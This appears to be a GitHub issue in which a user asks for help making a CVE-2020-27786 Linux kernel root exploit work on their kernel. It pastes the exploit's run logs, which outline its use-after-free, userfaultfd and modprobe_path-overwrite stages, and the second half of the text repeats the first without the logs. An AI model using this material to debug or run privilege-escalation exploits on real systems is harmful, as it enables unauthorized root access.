When I compiled it, it reminded me that there is no krwx.h file, which I found in your GitHub[https://github.com/kiks7/KRWX/blob/main/client/lib/krwx.h]
Then I can compile successfully. When I run the script for the first time, the output is as follows：
[hq@localhost ~]$ ./CVE-2020-27786
[*] Starting exploitation ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to 4096 ..
[*] snd_write triggered (should fault)
[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x5551000!
[*] Replacing freed obj with msg_msg .
[*] Waiting for userfaultd to finish ..
[+] Page fault lock released
[*] Page fault thread terminated
[+] init_ipc_ns @0x0
[+] calculated modprobe_path @0xfffffffffffb54a0
[+] Starting the arbitrary write phase ..
[*] Closing and reopening re-opening rawmidi fd ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to land into kmalloc-256 ..
[*] snd_write triggered (should fault)
[*] Freeing buf from SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x7771000!
[*] Waiting for readv ..
[+] Page fault lock released
[*] Writing into the pipe ..
[*] write = 24
[+] enjoy your r00t shell [:
[*] Page fault thread terminated
Although the output prompt information is relatively complete, root permissions are not obtained.
Then I try to run the script again，The output is as follows：
[hq@localhost ~]$ ./CVE-2020-27786
[*] Starting exploitation ..
[+] userfaultfd registered
[*] First write to init substream..
[*] Resizing buffer_size to 4096 ..
[*] snd_write triggered (should fault)
[*] Freeing buf using SNDRV_RAWMIDI_IOCTL_PARAMS
[+] Page Fault triggered for 0x5551000!
[*] Replacing freed obj with msg_msg .
[*] Waiting for userfaultd to finish ..
Then my system crashed and restarted.
When I restart the system and run the exploit again, it prompts
From the source code, I know that the user does not have permission to open /dev/snd/midiC0D0. But I don't know why it can be opened when I execute the script for the first time.
In order to find the core problem, I used the root user to set the file to be readable and writable by any user. Then execute the script again and find that the output is the same as the second execution. The system crashes and restarts.
can you solve this problem for me??
Also, my kernel version is as follows
[root@localhost snd]# uname -r
4.19.90-2003.4.0.0036.oe1.x86_64
When I compiled it, it reminded me that there is no krwx.h file, which I found in your GitHub[https://github.com/kiks7/KRWX/blob/main/client/lib/krwx.h]
Then I can compile successfully. When I run the script for the first time, the output is as follows：
Although the output prompt information is relatively complete, root permissions are not obtained.
Then I try to run the script again，The output is as follows：
Then my system crashed and restarted.
When I restart the system and run the exploit again, it prompts
From the source code, I know that the user does not have permission to open /dev/snd/midiC0D0. But I don't know why it can be opened when I execute the script for the first time.
In order to find the core problem, I used the root user to set the file to be readable and writable by any user. Then execute the script again and find that the output is the same as the second execution. The system crashes and restarts.
can you solve this problem for me??
Also, my kernel version is as follows